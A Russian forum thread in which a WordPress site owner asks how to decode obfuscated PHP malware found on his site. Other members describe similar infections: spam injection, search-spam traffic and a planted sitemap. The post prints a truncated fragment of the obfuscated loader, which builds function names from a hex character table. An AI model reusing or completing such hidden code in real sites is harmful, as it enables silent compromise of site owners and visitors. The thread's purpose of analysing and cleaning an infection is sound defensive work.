Подскажите дешифровку

NightHunter

Экзорцист
Регистрация
25 Фев 2014
Сообщения
728
Реакции
1.057
Есть свой сайт на WP, с недавнего времени, начали появляться всякие файлы и т.д. менял пароли везде, вредоносный код чистил. Кароче, меня интересует, каким макаром, можно расшифровать подобный код,чтобы понять что он делает.
Код:
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['a55c05e'] = "\x36\x35\x40\x2f\x70\x73\x7a\x56\x29\x60\x71\x2c\x44\x27\x25\x67\x3e\x7b\x3c\x4b\x38\x4a\x5b\x6a\x69\x41\x63\x43\x7e\x3d\x2b\x42\x51\x23\x37\x2a\x21\x34\x3f\x64\x72\x6f\x62\x5f\x3a\x59\x50\x54\x6e\x57\x5c\x45\x2e\x2d\x68\x6d\x53\x7d\x77\x58\x5e\x78\x46\x39\x30\x76\x47\x5d\x6b\x6c\x61\x32\x66\x20\x4c\x24\x33\x26\x7c\x55\x48\x5a\x79\xd\x74\x9\x4f\x3b\x31\x28\x49\x52\x65\x22\x4d\x75\xa\x4e";
$GLOBALS[$GLOBALS['a55c05e'][41].$GLOBALS['a55c05e'][37].$GLOBALS['a55c05e'][20].$GLOBALS['a55c05e'][20].$GLOBALS['a55c05e'][63].$GLOBALS['a55c05e'][71].$GLOBALS['a55c05e'][63].$GLOBALS['a55c05e'][63].$GLOBALS['a55c05e'][37]] = $GLOBALS['a55c05e'][26].$GLOBALS['a55c05e'][54].$GLOBALS['a55c05e'][40];
$GLOBALS[$GLOBALS['a55c05e'][39].$GLOBALS['a55c05e'][63].$GLOBALS['a55c05e'][76].$GLOBALS['a55c05e'][76]] = $GLOBALS['a55c05e'][41].$GLOBALS['a55c05e'][40].$GLOBALS['a55c05e'][39];
$GLOBALS[$GLOBALS['a55c05e'][65].$GLOBALS['a55c05e'][26].$
 
у меня тоже такое было, он записывал ету дрянь в 1 строку файла, я не знал как с етим бороться, в итоге удалил все.. но зато у меня кучу порно поисковых запросов вели на сайт )
у меня вообще, sitemap недавно залили)) я просто хз, у меня на сайте все было чисто, это с недавнего времени все началось. Все недавно проверял через Ai Bolit и удалял все лишнее. Хотелось бы понять вообще, что эти файлы делают и откуда берутся, чтобы присечь это.
 
Назад
Сверху